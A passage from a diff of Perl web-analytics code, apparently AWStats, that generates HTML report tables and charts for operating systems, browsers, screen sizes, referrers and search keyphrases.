/>"; + } + if ( $ShowPagesStats =~ /E/i ) { + print +"<img src=\"$DirIcons\/other\/$BarPng{'he'}\" width=\"$bredde_e\" height=\"4\"" + . AltTitle("") + . " /><br />"; + } + if ( $ShowPagesStats =~ /X/i ) { + print +"<img src=\"$DirIcons\/other\/$BarPng{'hx'}\" width=\"$bredde_x\" height=\"4\"" + . AltTitle("") . " />"; + } + print "</td></tr>\n"; + $total_p += $_url_p{$key} || 0; + $total_e += $_url_e{$key} || 0; + $total_x += $_url_x{$key} || 0; + $total_k += $_url_k{$key} || 0; + $count++; + } + my $rest_p = $TotalPages - $total_p; + my $rest_e = $TotalEntries - $total_e; + my $rest_x = $TotalExits - $total_x; + my $rest_k = $TotalBytesPages - $total_k; + if ( $rest_p > 0 || $rest_k > 0 || $rest_e > 0 || $rest_x > 0 ) + { # All other urls + print +"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>"; + if ( $ShowPagesStats =~ /P/i && $LogType ne 'F' ) { + print "<td>".Format_Number($rest_p)."</td>"; + } + if ( $ShowPagesStats =~ /[PH]/i && $LogType eq 'F' ) { + print "<td>".Format_Number($rest_p)."</td>"; + } + if ( $ShowPagesStats =~ /B/i ) { + print "<td>" + . ( + $rest_k + ? Format_Bytes( $rest_k / ( $rest_p || 1 ) ) + : " " + ) + . "</td>"; + } + if ( $ShowPagesStats =~ /E/i ) { + print "<td>" . ( $rest_e ? Format_Number($rest_e) : " " ) . "</td>"; + } + if ( $ShowPagesStats =~ /X/i ) { + print "<td>" . ( $rest_x ? Format_Number($rest_x) : " " ) . "</td>"; + } + + # Call to plugins' function ShowPagesAddField + foreach my $pluginname ( + keys %{ $PluginsLoaded{'ShowPagesAddField'} } ) + { + + # my $function="ShowPagesAddField_$pluginname('')"; + # eval("$function"); + my $function = "ShowPagesAddField_$pluginname"; + &$function(''); + } + print "<td> </td></tr>\n"; + } + &tab_end(); +} + +#------------------------------------------------------------------------------ +# Function: Prints the OS chart and table +# Parameters: $NewLinkParams, $NewLinkTarget +# Input: - +# Output: HTML +# Return: - +#------------------------------------------------------------------------------ +sub HTMLMainOS{ + my $NewLinkParams = shift; + my $NewLinkTarget = shift; + + if ($Debug) { debug( "ShowOSStats", 2 ); } + print "$Center<a name=\"os\"> </a><br />\n"; + my $Totalh = 0; + my $Totalp = 0; + my %new_os_h = (); + my %new_os_p = (); + OSLOOP: foreach my $key ( keys %_os_h ) { + $Totalh += $_os_h{$key}; + $Totalp += $_os_p{$key}; + foreach my $family ( keys %OSFamily ) { + if ( $key =~ /^$family/i ) { + $new_os_h{"${family}cumul"} += $_os_h{$key}; + $new_os_p{"${family}cumul"} += $_os_p{$key}; + next OSLOOP; + } + } + $new_os_h{$key} += $_os_h{$key}; + $new_os_p{$key} += $_os_p{$key}; + } + my $title = +"$Message[59] ($Message[77] $MaxNbOf{'OsShown'}) - <a href=\"" + . ( + $ENV{'GATEWAY_INTERFACE'} + || !$StaticLinks + ? XMLEncode("$AWScript${NewLinkParams}output=osdetail") + : "$StaticLinks.osdetail.$StaticExt" + ) + . "\"$NewLinkTarget>$Message[80]/$Message[58]</a> - <a href=\"" + . ( + $ENV{'GATEWAY_INTERFACE'} + || !$StaticLinks + ? XMLEncode("$AWScript${NewLinkParams}output=unknownos") + : "$StaticLinks.unknownos.$StaticExt" + ) + . "\"$NewLinkTarget>$Message[0]</a>"; + + if ( $AddLinkToExternalCGIWrapper && ($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks) ) { + # extend the title to include the added link + $title .= " - <a href=\"" . (XMLEncode( + "$AddLinkToExternalCGIWrapper" . "?section=OS&baseName=$DirData/$PROG" + . "&month=$MonthRequired&year=$YearRequired&day=$DayRequired" + . "&siteConfig=$SiteConfig" ) + . "\"$NewLinkTarget>$Message[179]</a>"); + } + + &tab_head( "$title", 19, 0, 'os' ); + + &BuildKeyList( $MaxNbOf{'OsShown'}, $MinHit{'Os'}, \%new_os_h, + \%new_os_p ); + + # Graph the top five in a pie chart + if (scalar @keylist > 1){ + foreach my $pluginname ( keys %{ $PluginsLoaded{'ShowGraph'} } ) + { + my @blocklabel = (); + my @valdata = (); + my @valcolor = ($color_p); + my $cnt = 0; + foreach my $key (@keylist) { + push @valdata, int( $new_os_h{$key} / $Totalh * 1000 ) / 10; + if ($key eq 'Unknown'){push @blocklabel, "$key"; } + else{ + my $keywithoutcumul = $key; + $keywithoutcumul =~ s/cumul$//i; + my $libos = $OSHashLib{$keywithoutcumul} + || $keywithoutcumul; + my $nameicon = $keywithoutcumul; + $nameicon =~ s/[^\w]//g; + if ( $OSFamily{$keywithoutcumul} ) { + $libos = $OSFamily{$keywithoutcumul}; + } + push @blocklabel, "$libos"; + } + $cnt++; + if ($cnt > 4) { last; } + } + print "<tr><td colspan=\"5\">"; + my $function = "ShowGraph_$pluginname"; + &$function( + "Top 5 Operating Systems", "oss", + 0, \@blocklabel, + 0, \@valcolor, + 0, 0, + 0, \@valdata + ); + print "</td></tr>"; + } + } + + print +"<tr bgcolor=\"#$color_TableBGRowTitle\"><th width=\"$WIDTHCOLICON\"> </th><th>$Message[59]</th>"; + print +"<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th><th bgcolor=\"#$color_p\" width=\"80\">$Message[15]</th>"; + print +"<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th></tr>\n"; + my $total_h = 0; + my $total_p = 0; + my $count = 0; + + foreach my $key (@keylist) { + my $p_h = ' '; + my $p_p = ' '; + if ($Totalh) { + $p_h = int( $new_os_h{$key} / $Totalh * 1000 ) / 10; + $p_h = "$p_h %"; + } + if ($Totalp) { + $p_p = int( $new_os_p{$key} / $Totalp * 1000 ) / 10; + $p_p = "$p_p %"; + } + if ( $key eq 'Unknown' ) { + print "<tr><td" + . ( $count ? "" : " width=\"$WIDTHCOLICON\"" ) + . "><img src=\"$DirIcons\/os\/unknown.png\"" + . AltTitle("") + . " /></td><td class=\"aws\"><span style=\"color: #$color_other\">$Message[0]</span></td>" + . "<td>".Format_Number($_os_p{$key})."</td><td>$p_p</td><td>".Format_Number($_os_h{$key})."</td><td>$p_h</td></tr>\n"; + } + else { + my $keywithoutcumul = $key; + $keywithoutcumul =~ s/cumul$//i; + my $libos = $OSHashLib{$keywithoutcumul} + || $keywithoutcumul; + my $nameicon = $keywithoutcumul; + $nameicon =~ s/[^\w]//g; + if ( $OSFamily{$keywithoutcumul} ) { + $libos = "<b>" . $OSFamily{$keywithoutcumul} . "</b>"; + } + print "<tr><td" + . ( $count ? "" : " width=\"$WIDTHCOLICON\"" ) + . "><img src=\"$DirIcons\/os\/$nameicon.png\"" + . AltTitle("") + . " /></td><td class=\"aws\">$libos</td><td>".Format_Number($new_os_p{$key})."</td><td>$p_p</td><td>".Format_Number($new_os_h{$key})."</td><td>$p_h</td></tr>\n"; + } + $total_h += $new_os_h{$key}; + $total_p += $new_os_p{$key}; + $count++; + } + if ($Debug) { + debug( "Total real / shown : $Totalh / $total_h", 2 ); + } + my $rest_h = $Totalh - $total_h; + my $rest_p = $Totalp - $total_p; + if ( $rest_h > 0 ) { + my $p_p; + my $p_h; + if ($Totalh) { $p_h = int( $rest_h / $Totalh * 1000 ) / 10; } + if ($Totalp) { $p_p = int( $rest_p / $Totalp * 1000 ) / 10; } + print "<tr>"; + print "<td> </td>"; + print +"<td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td><td>".Format_Number($rest_p)."</td>"; + print "<td>$p_p %</td><td>".Format_Number($rest_h)."</td><td>$p_h %</td></tr>\n"; + } + &tab_end(); +} + +#------------------------------------------------------------------------------ +# Function: Prints the Browsers chart and table +# Parameters: $NewLinkParams, $NewLinkTarget +# Input: - +# Output: HTML +# Return: - +#------------------------------------------------------------------------------ +sub HTMLMainBrowsers{ + my $NewLinkParams = shift; + my $NewLinkTarget = shift; + + if ($Debug) { debug( "ShowBrowsersStats", 2 ); } + print "$Center<a name=\"browsers\"> </a><br />\n"; + my $Totalh = 0; + my $Totalp = 0; + my %new_browser_h = (); + my %new_browser_p = (); + BROWSERLOOP: foreach my $key ( keys %_browser_h ) { + $Totalh += $_browser_h{$key}; + $Totalp += $_browser_p{$key}; + foreach my $family ( keys %BrowsersFamily ) { + if ( $key =~ /^$family/i ) { + $new_browser_h{"${family}cumul"} += $_browser_h{$key}; + $new_browser_p{"${family}cumul"} += $_browser_p{$key}; + next BROWSERLOOP; + } + } + $new_browser_h{$key} += $_browser_h{$key}; + $new_browser_p{$key} += $_browser_p{$key}; + } + my $title = +"$Message[21] ($Message[77] $MaxNbOf{'BrowsersShown'}) - <a href=\"" + . ( + $ENV{'GATEWAY_INTERFACE'} + || !$StaticLinks + ? XMLEncode("$AWScript${NewLinkParams}output=browserdetail") + : "$StaticLinks.browserdetail.$StaticExt" + ) + . "\"$NewLinkTarget>$Message[80]/$Message[58]</a> - <a href=\"" + . ( + $ENV{'GATEWAY_INTERFACE'} + || !$StaticLinks + ? XMLEncode("$AWScript${NewLinkParams}output=unknownbrowser") + : "$StaticLinks.unknownbrowser.$StaticExt" + ) + . "\"$NewLinkTarget>$Message[0]</a>"; + + + if ( $AddLinkToExternalCGIWrapper && ($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks) ) { + # extend the title to include the added link + $title .= " - <a href=\"" . (XMLEncode( + "$AddLinkToExternalCGIWrapper" . "?section=BROWSER&baseName=$DirData/$PROG" + . "&month=$MonthRequired&year=$YearRequired&day=$DayRequired" + . "&siteConfig=$SiteConfig" ) + . "\"$NewLinkTarget>$Message[179]</a>"); + } + + &tab_head( "$title", 19, 0, 'browsers' ); + + &BuildKeyList( + $MaxNbOf{'BrowsersShown'}, $MinHit{'Browser'}, + \%new_browser_h, \%new_browser_p + ); + + # Graph the top five in a pie chart + if (scalar @keylist > 1){ + foreach my $pluginname ( keys %{ $PluginsLoaded{'ShowGraph'} } ) + { + my @blocklabel = (); + my @valdata = (); + my @valcolor = ($color_p); + my $cnt = 0; + foreach my $key (@keylist) { + push @valdata, int( $new_browser_h{$key} / $TotalHits * 1000 ) / 10; + if ($key eq 'Unknown'){push @blocklabel, "$key"; } + else{ + my $keywithoutcumul = $key; + $keywithoutcumul =~ s/cumul$//i; + my $libbrowser = $BrowsersHashIDLib{$keywithoutcumul} + || $keywithoutcumul; + my $nameicon = $BrowsersHashIcon{$keywithoutcumul} + || "notavailable"; + if ( $BrowsersFamily{$keywithoutcumul} ) { + $libbrowser = "$libbrowser"; + } + push @blocklabel, "$libbrowser"; + } + $cnt++; + if ($cnt > 4) { last; } + } + print "<tr><td colspan=\"5\">"; + my $function = "ShowGraph_$pluginname"; + &$function( + "Top 5 Browsers", "browsers", + 0, \@blocklabel, + 0, \@valcolor, + 0, 0, + 0, \@valdata + ); + print "</td></tr>"; + } + } + print +"<tr bgcolor=\"#$color_TableBGRowTitle\"><th width=\"$WIDTHCOLICON\"> </th><th>$Message[21]</th><th width=\"80\">$Message[111]</th><th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th><th bgcolor=\"#$color_p\" width=\"80\">$Message[15]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th></tr>\n"; + my $total_h = 0; + my $total_p = 0; + my $count = 0; + foreach my $key (@keylist) { + my $p_h = ' '; + my $p_p = ' '; + if ($Totalh) { + $p_h = int( $new_browser_h{$key} / $Totalh * 1000 ) / 10; + $p_h = "$p_h %"; + } + if ($Totalp) { + $p_p = int( $new_browser_p{$key} / $Totalp * 1000 ) / 10; + $p_p = "$p_p %"; + } + if ( $key eq 'Unknown' ) { + print "<tr><td" + . ( $count ? "" : " width=\"$WIDTHCOLICON\"" ) + . "><img src=\"$DirIcons\/browser\/unknown.png\"" + . AltTitle("") + . " /></td><td class=\"aws\"><span style=\"color: #$color_other\">$Message[0]</span></td><td width=\"80\">?</td>" + . "<td>".Format_Number($_browser_p{$key})."</td><td>$p_p</td>" + . "<td>".Format_Number($_browser_h{$key})."</td><td>$p_h</td></tr>\n"; + } + else { + my $keywithoutcumul = $key; + $keywithoutcumul =~ s/cumul$//i; + my $libbrowser = $BrowsersHashIDLib{$keywithoutcumul} + || $keywithoutcumul; + my $nameicon = $BrowsersHashIcon{$keywithoutcumul} + || "notavailable"; + if ( $BrowsersFamily{$keywithoutcumul} ) { + $libbrowser = "<b>$libbrowser</b>"; + } + print "<tr><td" + . ( $count ? "" : " width=\"$WIDTHCOLICON\"" ) + . "><img src=\"$DirIcons\/browser\/$nameicon.png\"" + . AltTitle("") + . " /></td><td class=\"aws\">" + . ( $PageDir eq 'rtl' ? "<span dir=\"ltr\">" : "" ) + . "$libbrowser" + . ( $PageDir eq 'rtl' ? "</span>" : "" ) + . "</td><td>" + . ( + $BrowsersHereAreGrabbers{$key} + ? "<b>$Message[112]</b>" + : "$Message[113]" + ) + . "</td><td>".Format_Number($new_browser_p{$key})."</td><td>$p_p</td><td>".Format_Number($new_browser_h{$key})."</td><td>$p_h</td></tr>\n"; + } + $total_h += $new_browser_h{$key}; + $total_p += $new_browser_p{$key}; + $count++; + } + if ($Debug) { + debug( "Total real / shown : $Totalh / $total_h", 2 ); + } + my $rest_h = $Totalh - $total_h; + my $rest_p = $Totalp - $total_p; + if ( $rest_h > 0 ) { + my $p_p = 0.0; + my $p_h; + if ($Totalh) { $p_h = int( $rest_h / $Totalh * 1000 ) / 10; } + if ($Totalp) { $p_p = int( $rest_p / $Totalp * 1000 ) / 10; } + print "<tr>"; + print "<td> </td>"; + print +"<td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td><td> </td><td>$rest_p</td>"; + print "<td>$p_p %</td><td>$rest_h</td><td>$p_h %</td></tr>\n"; + } + &tab_end(); +} + +#------------------------------------------------------------------------------ +# Function: Prints the ScreenSize chart and table +# Parameters: - +# Input: - +# Output: HTML +# Return: - +#------------------------------------------------------------------------------ +sub HTMLMainScreenSize{ + if ($Debug) { debug( "ShowScreenSizeStats", 2 ); } + print "$Center<a name=\"screensizes\"> </a><br />\n"; + my $Totalh = 0; + foreach ( keys %_screensize_h ) { $Totalh += $_screensize_h{$_}; } + my $title = + "$Message[135] ($Message[77] $MaxNbOf{'ScreenSizesShown'})"; + &tab_head( "$title", 0, 0, 'screensizes' ); + print +"<tr bgcolor=\"#$color_TableBGRowTitle\"><th>$Message[135]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th></tr>\n"; + my $total_h = 0; + my $count = 0; + &BuildKeyList( $MaxNbOf{'ScreenSizesShown'}, + $MinHit{'ScreenSize'}, \%_screensize_h, \%_screensize_h ); + + foreach my $key (@keylist) { + my $p = ' '; + if ($Totalh) { + $p = int( $_screensize_h{$key} / $Totalh * 1000 ) / 10; + $p = "$p %"; + } + $total_h += $_screensize_h{$key} || 0; + print "<tr>"; + if ( $key eq 'Unknown' ) { + print +"<td class=\"aws\"><span style=\"color: #$color_other\">$Message[0]</span></td>"; + print "<td>$p</td>"; + } + else { + my $screensize = $key; + print "<td class=\"aws\">$screensize</td>"; + print "<td>$p</td>"; + } + print "</tr>\n"; + $count++; + } + my $rest_h = $Totalh - $total_h; + if ( $rest_h > 0 ) { # All others sessions + my $p = 0; + if ($Totalh) { $p = int( $rest_h / $Totalh * 1000 ) / 10; } + print +"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>"; + print "<td>" . ( $rest_h ? "$p %" : " " ) . "</td>"; + print "</tr>\n"; + } + &tab_end(); +} + +#------------------------------------------------------------------------------ +# Function: Prints the Referrers chart and table +# Parameters: $NewLinkParams, $NewLinkTarget +# Input: - +# Output: HTML +# Return: - +#------------------------------------------------------------------------------ +sub HTMLMainReferrers{ + my $NewLinkParams = shift; + my $NewLinkTarget = shift; + + if ($Debug) { debug( "ShowOriginStats", 2 ); } + print "$Center<a name=\"referer\"> </a><br />\n"; + my $Totalp = 0; + foreach ( 0 .. 5 ) { + $Totalp += + ( $_ != 4 || $IncludeInternalLinksInOriginSection ) + ? $_from_p[$_] + : 0; + } + my $Totalh = 0; + foreach ( 0 .. 5 ) { + $Totalh += + ( $_ != 4 || $IncludeInternalLinksInOriginSection ) + ? $_from_h[$_] + : 0; + } + + my $title = "$Message[36]"; + + if ( $AddLinkToExternalCGIWrapper && ($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks) ) { + # extend the title to include the added link + $title .= " - <a href=\"" . (XMLEncode( + "$AddLinkToExternalCGIWrapper" . "?section=ORIGIN&baseName=$DirData/$PROG" + . "&month=$MonthRequired&year=$YearRequired&day=$DayRequired" + . "&siteConfig=$SiteConfig" ) + . "\"$NewLinkTarget>$Message[179]</a>"); + } + + &tab_head( $title, 19, 0, 'referer' ); + my @p_p = ( 0, 0, 0, 0, 0, 0 ); + if ( $Totalp > 0 ) { + $p_p[0] = int( $_from_p[0] / $Totalp * 1000 ) / 10; + $p_p[1] = int( $_from_p[1] / $Totalp * 1000 ) / 10; + $p_p[2] = int( $_from_p[2] / $Totalp * 1000 ) / 10; + $p_p[3] = int( $_from_p[3] / $Totalp * 1000 ) / 10; + $p_p[4] = int( $_from_p[4] / $Totalp * 1000 ) / 10; + $p_p[5] = int( $_from_p[5] / $Totalp * 1000 ) / 10; + } + my @p_h = ( 0, 0, 0, 0, 0, 0 ); + if ( $Totalh > 0 ) { + $p_h[0] = int( $_from_h[0] / $Totalh * 1000 ) / 10; + $p_h[1] = int( $_from_h[1] / $Totalh * 1000 ) / 10; + $p_h[2] = int( $_from_h[2] / $Totalh * 1000 ) / 10; + $p_h[3] = int( $_from_h[3] / $Totalh * 1000 ) / 10; + $p_h[4] = int( $_from_h[4] / $Totalh * 1000 ) / 10; + $p_h[5] = int( $_from_h[5] / $Totalh * 1000 ) / 10; + } + print + "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>$Message[37]</th>"; + if ( $ShowOriginStats =~ /P/i ) { + print +"<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th><th bgcolor=\"#$color_p\" width=\"80\">$Message[15]</th>"; + } + if ( $ShowOriginStats =~ /H/i ) { + print +"<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th>"; + } + print "</tr>\n"; + + #------- Referrals by direct address/bookmark/link in email/etc... + print "<tr><td class=\"aws\"><b>$Message[38]</b></td>"; + if ( $ShowOriginStats =~ /P/i ) { + print "<td>" + . ( $_from_p[0] ? Format_Number($_from_p[0]) : " " ) + . "</td><td>" + . ( $_from_p[0] ? "$p_p[0] %" : " " ) . "</td>"; + } + if ( $ShowOriginStats =~ /H/i ) { + print "<td>" + . ( $_from_h[0] ? Format_Number($_from_h[0]) : " " ) + . "</td><td>" + . ( $_from_h[0] ? "$p_h[0] %" : " " ) . "</td>"; + } + print "</tr>\n"; + + #------- Referrals by search engines + print "<tr" + . Tooltip(13) + . "><td class=\"aws\"><b>$Message[40]</b> - <a href=\"" + . ( + $ENV{'GATEWAY_INTERFACE'} + || !$StaticLinks + ? XMLEncode("$AWScript${NewLinkParams}output=refererse") + : "$StaticLinks.refererse.$StaticExt" + ) + . "\"$NewLinkTarget>$Message[80]</a><br />\n"; + if ( scalar keys %_se_referrals_h ) { + print "<table>\n"; + my $total_p = 0; + my $total_h = 0; + my $count = 0; + &BuildKeyList( + $MaxNbOf{'RefererShown'}, + $MinHit{'Refer'}, + \%_se_referrals_h, + ( + ( scalar keys %_se_referrals_p ) + ? \%_se_referrals_p + : \%_se_referrals_h + ) + ); + foreach my $key (@keylist) { + my $newreferer = $SearchEnginesHashLib{$key} + || CleanXSS($key); + print "<tr><td class=\"aws\">- $newreferer</td>"; + print "<td>" + . ( + Format_Number($_se_referrals_p{$key} ? $_se_referrals_p{$key} : '0' )) + . "</td>"; + print "<td> / ".Format_Number($_se_referrals_h{$key})."</td>"; + print "</tr>\n"; + $total_p += $_se_referrals_p{$key}; + $total_h += $_se_referrals_h{$key}; + $count++; + } + if ($Debug) { + debug( +"Total real / shown : $TotalSearchEnginesPages / $total_p - $TotalSearchEnginesHits / $total_h", + 2 + ); + } + my $rest_p = $TotalSearchEnginesPages - $total_p; + my $rest_h = $TotalSearchEnginesHits - $total_h; + if ( $rest_p > 0 || $rest_h > 0 ) { + print +"<tr><td class=\"aws\"><span style=\"color: #$color_other\">- $Message[2]</span></td>"; + print "<td>".Format_Number($rest_p)."</td>"; + print "<td> / ".Format_Number($rest_h)."</td>"; + print "</tr>\n"; + } + print "</table>"; + } + print "</td>\n"; + if ( $ShowOriginStats =~ /P/i ) { + print "<td valign=\"top\">" + . ( $_from_p[2] ? Format_Number($_from_p[2]) : " " ) + . "</td><td valign=\"top\">" + . ( $_from_p[2] ? "$p_p[2] %" : " " ) . "</td>"; + } + if ( $ShowOriginStats =~ /H/i ) { + print "<td valign=\"top\">" + . ( $_from_h[2] ? Format_Number($_from_h[2]) : " " ) + . "</td><td valign=\"top\">" + . ( $_from_h[2] ? "$p_h[2] %" : " " ) . "</td>"; + } + print "</tr>\n"; + + #------- Referrals by external HTML link + print "<tr" + . Tooltip(14) + . "><td class=\"aws\"><b>$Message[41]</b> - <a href=\"" + . ( + $ENV{'GATEWAY_INTERFACE'} + || !$StaticLinks + ? XMLEncode("$AWScript${NewLinkParams}output=refererpages") + : "$StaticLinks.refererpages.$StaticExt" + ) + . "\"$NewLinkTarget>$Message[80]</a><br />\n"; + if ( scalar keys %_pagesrefs_h ) { + print "<table>\n"; + my $total_p = 0; + my $total_h = 0; + my $count = 0; + &BuildKeyList( + $MaxNbOf{'RefererShown'}, + $MinHit{'Refer'}, + \%_pagesrefs_h, + ( + ( scalar keys %_pagesrefs_p ) + ? \%_pagesrefs_p + : \%_pagesrefs_h + ) + ); + foreach my $key (@keylist) { + print "<tr><td class=\"aws\">- "; + &HTMLShowURLInfo($key); + print "</td>"; + print "<td>" + . Format_Number(( $_pagesrefs_p{$key} ? $_pagesrefs_p{$key} : '0' )) + . "</td>"; + print "<td>".Format_Number($_pagesrefs_h{$key})."</td>"; + print "</tr>\n"; + $total_p += $_pagesrefs_p{$key}; + $total_h += $_pagesrefs_h{$key}; + $count++; + } + if ($Debug) { + debug( +"Total real / shown : $TotalRefererPages / $total_p - $TotalRefererHits / $total_h", + 2 + ); + } + my $rest_p = $TotalRefererPages - $total_p; + my $rest_h = $TotalRefererHits - $total_h; + if ( $rest_p > 0 || $rest_h > 0 ) { + print +"<tr><td class=\"aws\"><span style=\"color: #$color_other\">- $Message[2]</span></td>"; + print "<td>".Format_Number($rest_p)."</td>"; + print "<td>".Format_Number($rest_h)."</td>"; + print "</tr>\n"; + } + print "</table>"; + } + print "</td>\n"; + if ( $ShowOriginStats =~ /P/i ) { + print "<td valign=\"top\">" + . ( $_from_p[3] ? Format_Number($_from_p[3]) : " " ) + . "</td><td valign=\"top\">" + . ( $_from_p[3] ? "$p_p[3] %" : " " ) . "</td>"; + } + if ( $ShowOriginStats =~ /H/i ) { + print "<td valign=\"top\">" + . ( $_from_h[3] ? Format_Number($_from_h[3]) : " " ) + . "</td><td valign=\"top\">" + . ( $_from_h[3] ? "$p_h[3] %" : " " ) . "</td>"; + } + print "</tr>\n"; + + #------- Referrals by internal HTML link + if ($IncludeInternalLinksInOriginSection) { + print "<tr><td class=\"aws\"><b>$Message[42]</b></td>"; + if ( $ShowOriginStats =~ /P/i ) { + print "<td>" + . ( $_from_p[4] ? Format_Number($_from_p[4]) : " " ) + . "</td><td>" + . ( $_from_p[4] ? "$p_p[4] %" : " " ) . "</td>"; + } + if ( $ShowOriginStats =~ /H/i ) { + print "<td>" + . ( $_from_h[4] ? Format_Number($_from_h[4]) : " " ) + . "</td><td>" + . ( $_from_h[4] ? "$p_h[4] %" : " " ) . "</td>"; + } + print "</tr>\n"; + } + + #------- Referrals by news group + #print "<tr><td class=\"aws\"><b>$Message[107]</b></td>"; + #if ($ShowOriginStats =~ /P/i) { print "<td>".($_from_p[5]?$_from_p[5]:" ")."</td><td>".($_from_p[5]?"$p_p[5] %":" ")."</td>"; } + #if ($ShowOriginStats =~ /H/i) { print "<td>".($_from_h[5]?$_from_h[5]:" ")."</td><td>".($_from_h[5]?"$p_h[5] %":" ")."</td>"; } + #print "</tr>\n"; + + #------- Unknown origin + print "<tr><td class=\"aws\"><b>$Message[39]</b></td>"; + if ( $ShowOriginStats =~ /P/i ) { + print "<td>" + . ( $_from_p[1] ? Format_Number($_from_p[1]) : " " ) + . "</td><td>" + . ( $_from_p[1] ? "$p_p[1] %" : " " ) . "</td>"; + } + if ( $ShowOriginStats =~ /H/i ) { + print "<td>" + . ( $_from_h[1] ? Format_Number($_from_h[1]) : " " ) + . "</td><td>" + . ( $_from_h[1] ? "$p_h[1] %" : " " ) . "</td>"; + } + print "</tr>\n"; + &tab_end(); + + # 0: Direct + # 1: Unknown + # 2: SE + # 3: External link + # 4: Internal link + # 5: Newsgroup (deprecated) +} + +#------------------------------------------------------------------------------ +# Function: Prints the Key Phrases and Keywords chart and table +# Parameters: $NewLinkParams, $NewLinkTarget +# Input: - +# Output: HTML +# Return: - +#------------------------------------------------------------------------------ +sub HTMLMainKeys{ + my $NewLinkParams = shift; + my $NewLinkTarget = shift; + + if ($ShowKeyphrasesStats) { + print "$Center<a name=\"keyphrases\"> </a>"; + } + if ($ShowKeywordsStats) { + print "$Center<a name=\"keywords\"> </a>"; + } + if ( $ShowKeyphrasesStats || $ShowKeywordsStats ) { print "<br />\n"; } + if ( $ShowKeyphrasesStats && $ShowKeywordsStats ) { + print + "<table width=\"100%\" cellpadding=\"0\" cellspacing=\"0\"><tr>"; + } + if ($ShowKeyphrasesStats) { + + # By Keyphrases + if ( $ShowKeyphrasesStats && $ShowKeywordsStats ) { + print "<td width=\"50%\" valign=\"top\">\n"; + } + if ($Debug) { debug( "ShowKeyphrasesStats", 2 ); } + &tab_head( +"$Message[120] ($Message[77] $MaxNbOf{'KeyphrasesShown'})<br /><a href=\"" + . ( + $ENV{'GATEWAY_INTERFACE'} + || !$StaticLinks + ? XMLEncode("$AWScript${NewLinkParams}output=keyphrases") + : "$StaticLinks.keyphrases.$StaticExt" + ) + . "\"$NewLinkTarget>$Message[80]</a>", + 19, + ( $ShowKeyphrasesStats && $ShowKeywordsStats ) ? 95 : 70, + 'keyphrases' + ); + print "<tr bgcolor=\"#$color_TableBGRowTitle\"" + . Tooltip(15) + . "><th>$TotalDifferentKeyphrases $Message[103]</th><th bgcolor=\"#$color_s\" width=\"80\">$Message[14]</th><th bgcolor=\"#$color_s\" width=\"80\">$Message[15]</th></tr>\n"; + my $total_s = 0; + my $count = 0; + &BuildKeyList( $MaxNbOf{'KeyphrasesShown'}, + $MinHit{'Keyphrase'}, \%_keyphrases, \%_keyphrases ); + foreach my $key (@keylist) { + my $mot; + + # Convert coded keywords (utf8,...) to be correctly reported in HTML page. + if ( $PluginsLoaded{'DecodeKey'}{'decodeutfkeys'} ) { + $mot = CleanXSS( + DecodeKey_decodeutfkeys( + $key, $PageCode || 'iso-8859-1' + ) + ); + } + else { $mot = CleanXSS( DecodeEncodedString($key) ); } + my $p; + if ($TotalKeyphrases) { + $p = + int( $_keyphrases{$key} / $TotalKeyphrases * 1000 ) / 10; + } + print "<tr><td class=\"aws\">" + . XMLEncode($mot) + . "</td><td>$_keyphrases{$key}</td><td>$p %</td></tr>\n"; + $total_s += $_keyphrases{$key}; + $count++; + } + if ($Debug) { + debug( "Total real / shown : $TotalKeyphrases / $total_s", 2 ); + } + my $rest_s = $TotalKeyphrases - $total_s; + if ( $rest_s > 0 ) { + my $p; + if ($TotalKeyphrases) { + $p = int( $rest_s / $TotalKeyphrases * 1000 ) / 10; + } + print +"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[124]</span></td><td>$rest_s</td>"; + print "<td>$p %</td></tr>\n"; + } + &tab_end(); + if ( $ShowKeyphrasesStats && $ShowKeywordsStats ) { + print "</td>\n"; + } + } + if ( $ShowKeyphrasesStats && $ShowKeywordsStats ) { + print "<td> </td>"; + } + if ($ShowKeywordsStats) { + + # By Keywords + if ( $ShowKeyphrasesStats && $ShowKeywordsStats ) { + print "<td width=\"50%\" valign=\"top\">\n"; + } + if ($Debug) { debug( "ShowKeywordsStats", 2 ); } + &tab_head( +"$Message[121] ($Message[77] $MaxNbOf{'KeywordsShown'})<br /><a href=\"" + . ( + $ENV{'GATEWAY_INTERFACE'} + || !$StaticLinks + ? XMLEncode("$AWScript${NewLinkParams}output=keywords") + : "$StaticLinks.keywords.$StaticExt" + ) + . "\"$NewLinkTarget>$Message[80]</a>", + 19, + ( $ShowKeyphrasesStats && $ShowKeywordsStats ) ? 95 : 70, + 'keywords' + ); + print "<tr bgcolor=\"#$color_TableBGRowTitle\"" + . Tooltip(15) + . "><th>$TotalDifferentKeywords $Message[13]</th><th bgcolor=\"#$color_s\" width=\"80\">$Message[14]</th><th bgcolor=\"#$color_s\" width=\"80\">$Message[15]</th></tr>\n"; + my $total_s = 0; + my $count = 0; + &BuildKeyList( $MaxNbOf{'KeywordsShown'}, + $MinHit{'Keyword'}, \%_keywords, \%_keywords ); + foreach my $key (@keylist) { + my $mot; + + # Convert coded keywords (utf8,...) to be correctly reported in HTML page. + if ( $PluginsLoaded{'DecodeKey'}{'decodeutfkeys'} ) { + $mot = CleanXSS( + DecodeKey_decodeutfkeys( + $key, $PageCode || 'iso-8859-1' + ) + ); + } + else { $mot = CleanXSS( DecodeEncodedString($key) ); } + my $p; + if ($TotalKeywords) { + $p = int( $_keywords{$key} / $TotalKeywords * 1000 ) / 10; + } + print "<tr><td class=\"aws\">" + . XMLEncode($mot) + . 